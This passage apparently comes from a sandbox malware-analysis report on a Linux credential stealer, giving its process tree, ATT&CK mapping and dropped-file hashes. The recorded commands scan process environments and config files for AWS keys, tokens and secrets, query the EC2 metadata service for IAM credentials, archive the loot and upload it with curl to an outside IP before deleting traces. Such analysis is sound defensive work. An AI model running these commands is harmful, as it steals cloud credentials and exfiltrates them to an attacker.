  sed "s|^|/proc/179/environ: |"
  2⤵
  PID:1754
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1753
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1752
- /bin/sed
  sed "s|^|/proc/18/environ: |"
  2⤵
  PID:1757
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1756
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1755
- /bin/sed
  sed "s|^|/proc/180/environ: |"
  2⤵
  PID:1760
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1759
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1758
- /bin/sed
  sed "s|^|/proc/181/environ: |"
  2⤵
  PID:1763
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1762
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1761
- /bin/sed
  sed "s|^|/proc/182/environ: |"
  2⤵
  PID:1766
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1765
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1764
- /bin/sed
  sed "s|^|/proc/183/environ: |"
  2⤵
  PID:1769
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1768
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1767
- /bin/sed
  sed "s|^|/proc/185/environ: |"
  2⤵
  - Reads runtime system information
  PID:1772
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1771
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1770
- /bin/sed
  sed "s|^|/proc/19/environ: |"
  2⤵
  PID:1775
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1774
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1773
- /bin/sed
  sed "s|^|/proc/2/environ: |"
  2⤵
  PID:1778
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1777
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1776
- /bin/sed
  sed "s|^|/proc/20/environ: |"
  2⤵
  PID:1781
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1780
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1779
- /bin/sed
  sed "s|^|/proc/21/environ: |"
  2⤵
  PID:1784
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1783
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1782
- /bin/sed
  sed "s|^|/proc/210/environ: |"
  2⤵
  PID:1787
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1786
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1785
- /bin/sed
  sed "s|^|/proc/211/environ: |"
  2⤵
  PID:1790
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1789
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1788
- /bin/sed
  sed "s|^|/proc/22/environ: |"
  2⤵
  PID:1793
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1792
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1791
- /bin/sed
  sed "s|^|/proc/23/environ: |"
  2⤵
  PID:1796
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1795
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1794
- /bin/sed
  sed "s|^|/proc/24/environ: |"
  2⤵
  PID:1799
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1798
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1797
- /bin/sed
  sed "s|^|/proc/25/environ: |"
  2⤵
  PID:1802
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1801
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1800
- /bin/sed
  sed "s|^|/proc/26/environ: |"
  2⤵
  PID:1805
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1804
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1803
- /bin/sed
  sed "s|^|/proc/268/environ: |"
  2⤵
  PID:1808
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1807
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1806
- /bin/sed
  sed "s|^|/proc/27/environ: |"
  2⤵
  PID:1811
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1810
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1809
- /bin/sed
  sed "s|^|/proc/277/environ: |"
  2⤵
  PID:1814
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1813
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1812
- /bin/sed
  sed "s|^|/proc/28/environ: |"
  2⤵
  PID:1817
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1816
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1815
- /bin/sed
  sed "s|^|/proc/29/environ: |"
  2⤵
  PID:1820
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1819
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1818
- /bin/sed
  sed "s|^|/proc/3/environ: |"
  2⤵
  PID:1823
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1822
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1821
- /bin/sed
  sed "s|^|/proc/30/environ: |"
  2⤵
  PID:1826
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1825
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1824
- /bin/sed
  sed "s|^|/proc/31/environ: |"
  2⤵
  PID:1829
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1828
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1827
- /bin/sed
  sed "s|^|/proc/32/environ: |"
  2⤵
  PID:1832
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1831
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1830
- /bin/sed
  sed "s|^|/proc/34/environ: |"
  2⤵
  PID:1835
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1834
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1833
- /bin/sed
  sed "s|^|/proc/35/environ: |"
  2⤵
  PID:1838
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1837
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1836
- /bin/sed
  sed "s|^|/proc/358/environ: |"
  2⤵
  PID:1841
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1840
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1839
- /bin/sed
  sed "s|^|/proc/36/environ: |"
  2⤵
  PID:1844
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1843
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1842
- /bin/sed
  sed "s|^|/proc/362/environ: |"
  2⤵
  PID:1847
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1846
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1845
- /bin/sed
  sed "s|^|/proc/4/environ: |"
  2⤵
  PID:1850
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1849
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1848
- /bin/sed
  sed "s|^|/proc/446/environ: |"
  2⤵
  PID:1853
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1852
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1851
- /bin/sed
  sed "s|^|/proc/450/environ: |"
  2⤵
  PID:1856
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1855
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1854
- /bin/sed
  sed "s|^|/proc/453/environ: |"
  2⤵
  PID:1859
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1858
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1857
- /bin/sed
  sed "s|^|/proc/462/environ: |"
  2⤵
  PID:1862
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1861
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1860
- /bin/sed
  sed "s|^|/proc/470/environ: |"
  2⤵
  PID:1865
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1864
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1863
- /bin/sed
  sed "s|^|/proc/472/environ: |"
  2⤵
  PID:1868
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1867
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1866
- /bin/sed
  sed "s|^|/proc/473/environ: |"
  2⤵
  PID:1871
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1870
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1869
- /bin/sed
  sed "s|^|/proc/475/environ: |"
  2⤵
  PID:1874
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1873
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1872
- /bin/sed
  sed "s|^|/proc/478/environ: |"
  2⤵
  PID:1877
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1876
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1875
- /bin/sed
  sed "s|^|/proc/490/environ: |"
  2⤵
  PID:1880
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1879
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1878
- /bin/sed
  sed "s|^|/proc/493/environ: |"
  2⤵
  PID:1883
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1882
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1881
- /bin/sed
  sed "s|^|/proc/496/environ: |"
  2⤵
  PID:1886
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1885
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1884
- /bin/sed
  sed "s|^|/proc/5/environ: |"
  2⤵
  PID:1889
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1888
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1887
- /bin/sed
  sed "s|^|/proc/500/environ: |"
  2⤵
  PID:1892
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1891
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1890
- /bin/sed
  sed "s|^|/proc/501/environ: |"
  2⤵
  PID:1895
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1894
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1893
- /bin/sed
  sed "s|^|/proc/502/environ: |"
  2⤵
  PID:1898
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1897
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1896
- /bin/sed
  sed "s|^|/proc/529/environ: |"
  2⤵
  PID:1901
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1900
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1899
- /bin/sed
  sed "s|^|/proc/530/environ: |"
  2⤵
  PID:1904
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1903
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1902
- /bin/sed
  sed "s|^|/proc/543/environ: |"
  2⤵
  PID:1907
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1906
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1905
- /bin/sed
  sed "s|^|/proc/563/environ: |"
  2⤵
  PID:1910
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1909
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1908
- /bin/sed
  sed "s|^|/proc/570/environ: |"
  2⤵
  PID:1913
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1912
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1911
- /bin/sed
  sed "s|^|/proc/586/environ: |"
  2⤵
  PID:1916
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1915
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1914
- /bin/sed
  sed "s|^|/proc/6/environ: |"
  2⤵
  PID:1919
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1918
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1917
- /bin/sed
  sed "s|^|/proc/610/environ: |"
  2⤵
  PID:1922
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1921
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1920
- /bin/sed
  sed "s|^|/proc/611/environ: |"
  2⤵
  PID:1925
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1924
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1923
- /bin/sed
  sed "s|^|/proc/653/environ: |"
  2⤵
  PID:1928
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1927
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1926
- /bin/sed
  sed "s|^|/proc/660/environ: |"
  2⤵
  PID:1931
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1930
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1929
- /bin/sed
  sed "s|^|/proc/662/environ: |"
  2⤵
  PID:1934
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1933
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1932
- /bin/sed
  sed "s|^|/proc/664/environ: |"
  2⤵
  PID:1937
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1936
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1935
- /bin/sed
  sed "s|^|/proc/674/environ: |"
  2⤵
  PID:1940
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1939
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1938
- /bin/sed
  sed "s|^|/proc/679/environ: |"
  2⤵
  PID:1943
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1942
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1941
- /bin/sed
  sed "s|^|/proc/7/environ: |"
  2⤵
  PID:1946
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1945
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1944
- /bin/sed
  sed "s|^|/proc/706/environ: |"
  2⤵
  PID:1949
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1948
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1947
- /bin/sed
  sed "s|^|/proc/716/environ: |"
  2⤵
  PID:1952
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1951
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1950
- /bin/sed
  sed "s|^|/proc/720/environ: |"
  2⤵
  PID:1955
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1954
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1953
- /bin/sed
  sed "s|^|/proc/78/environ: |"
  2⤵
  - Reads runtime system information
  PID:1958
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1957
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1956
- /bin/sed
  sed "s|^|/proc/79/environ: |"
  2⤵
  PID:1961
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1960
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1959
- /bin/sed
  sed "s|^|/proc/8/environ: |"
  2⤵
  PID:1964
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1963
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1962
- /bin/sed
  sed "s|^|/proc/80/environ: |"
  2⤵
  PID:1967
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1966
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1965
- /bin/sed
  sed "s|^|/proc/81/environ: |"
  2⤵
  PID:1970
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1969
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1968
- /bin/sed
  sed "s|^|/proc/82/environ: |"
  2⤵
  PID:1973
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1972
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1971
- /bin/sed
  sed "s|^|/proc/83/environ: |"
  2⤵
  PID:1976
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1975
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1974
- /bin/sed
  sed "s|^|/proc/84/environ: |"
  2⤵
  PID:1979
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1978
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1977
- /bin/sed
  sed "s|^|/proc/86/environ: |"
  2⤵
  PID:1982
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1981
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1980
- /bin/sed
  sed "s|^|/proc/89/environ: |"
  2⤵
  PID:1985
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1984
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1983
- /bin/sed
  sed "s|^|/proc/9/environ: |"
  2⤵
  PID:1988
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1987
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1986
- /bin/sed
  sed "s|^|/proc/907/environ: |"
  2⤵
  PID:1991
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1990
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1989
- /bin/sed
  sed "s|^|/proc/909/environ: |"
  2⤵
  PID:1994
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1993
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1992
- /bin/sed
  sed "s|^|/proc/914/environ: |"
  2⤵
  PID:1997
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1996
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1995
- /bin/sed
  sed "s|^|/proc/917/environ: |"
  2⤵
  PID:2000
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:1999
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1998
- /bin/sed
  sed "s|^|/proc/931/environ: |"
  2⤵
  PID:2003
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2002
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2001
- /bin/sed
  sed "s|^|/proc/936/environ: |"
  2⤵
  PID:2006
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2005
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2004
- /bin/sed
  sed "s|^|/proc/950/environ: |"
  2⤵
  PID:2009
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2008
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2007
- /bin/sed
  sed "s|^|/proc/956/environ: |"
  2⤵
  PID:2012
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2011
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2010
- /bin/sed
  sed "s|^|/proc/969/environ: |"
  2⤵
  PID:2015
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2014
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2013
- /bin/sed
  sed "s|^|/proc/973/environ: |"
  2⤵
  PID:2018
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2017
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2016
- /bin/sed
  sed "s|^|/proc/976/environ: |"
  2⤵
  PID:2021
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2020
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2019
- /bin/sed
  sed "s|^|/proc/979/environ: |"
  2⤵
  PID:2024
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2023
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2022
- /bin/sed
  sed "s|^|/proc/98/environ: |"
  2⤵
  PID:2027
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2026
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2025
- /bin/sed
  sed "s|^|/proc/983/environ: |"
  2⤵
  PID:2030
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2029
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2028
- /bin/sed
  sed "s|^|/proc/993/environ: |"
  2⤵
  PID:2033
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2032
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2031
- /bin/sed
  sed "s|^|/proc/997/environ: |"
  2⤵
  PID:2036
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:2035
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2034
- /usr/bin/curl
  curl -s -m 4 http://169.254.169.254/latest/meta-data/iam/security-credentials/
  2⤵
  - Writes file to tmp directory
  PID:2037
- /usr/bin/tr
  tr -d "\\r"
  2⤵
  PID:2040
- /usr/bin/head
  head -1 /tmp/.aw1524/imds_role.txt
  2⤵
  PID:2039
- /usr/bin/tr
  tr -d "\\r"
  2⤵
  PID:2043
- /usr/bin/curl
  curl -s -m 4 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" http://169.254.169.254/latest/api/token
  2⤵
  - Writes file to tmp directory
  PID:2042
- /bin/grep
  grep -a AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
  2⤵
  PID:2046
- /usr/bin/cut
  cut "-d=" -f2
  2⤵
  PID:2047
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:2045
- /usr/bin/cut
  cut "-d=" -f2
  2⤵
  PID:2051
- /bin/grep
  grep -a AWS_CONTAINER_CREDENTIALS_FULL_URI
  2⤵
  PID:2050
- /usr/bin/env
  env
  2⤵
  PID:2049
- /usr/bin/head
  head -300
  2⤵
  PID:2053
- /usr/bin/find
  find / -maxdepth 6 "(" -name .env -o -name "*.env" -o -name "docker-compose*.yml" -o -name "docker-compose*.yaml" -o -name "*.tfstate" -o -name credentials.xml -o -name application.yml -o -name application.properties -o -name .s3cfg -o -name "aws-config*" ")" -type f -size -3M
  2⤵
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:2052
- /bin/tar
  tar czf /tmp/.aw_ubuntu1804-amd64-20261019-en-6.tgz -C /tmp .aw1524
  2⤵
  PID:2054
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:2055
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:2056
- /usr/bin/wc
  wc -c
  2⤵
  PID:2057
- /usr/bin/curl
  curl -s -m 25 --data-binary "@/tmp/.aw_ubuntu1804-amd64-20261019-en-6.tgz" "http://185.106.98.235/upload?h=ubuntu1804-amd64-20261019-en-6"
  2⤵
  - Writes file to tmp directory
  PID:2058
- /bin/grep
  grep -q EXFIL_OK /tmp/.aw1524/summary.txt
  2⤵
  PID:2059
- /bin/rm
  rm -f /tmp/.aw_ubuntu1804-amd64-20261019-en-6.tgz
  2⤵
  PID:2060
- /bin/rm
  rm -rf /tmp/.aw1524
  2⤵
  PID:2061

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

env.txt

Path /tmp/.aw1524/env.txt
Size 257B
SHA256 192ca3b55e9aedd5f0e8e7fb54374cc0da7e4ae913eb617c9c59b6c149775b6c
MD5 26752600610b91518f48638efe491972
SHA1 d993b7cec6f5931ba5a1251c0c9d9a6baf92a910
SHA512 9ce5b10f382537a41c58300d875a5438cef71fc8b519312d968c85177d1386c74a11832312edfbb12d9cdae6327cdbd16977e22354cdc50563cd33ee6d767b9e
TLSH
T165D02B7C27817BDC9201F9C30F45C40B78E292982D5DBB56403266F08B3E72B202224F
MD5 SHA1 SHA512 TLSH

Submit Download

summary.txt

Path /tmp/.aw1524/summary.txt
Size 125B
SHA256 aebf1bd5e0eab0762220bb03bf275866ee6d76956ab212a4ae939ddd98d7347e
MD5 2d21e6bd0493461ac485c811b88b02e9
SHA1 d950d03f65b1edba04444435d2c49bfbfcb052b9
SHA512 04983a33cc0af271b5d98cccb06d4a580888bdc9ae571a3d9ffee1c7b72b19a159ae105498b34fc36745204c32debf002c9a8177a705b95696fefcb53a697c27
TLSH
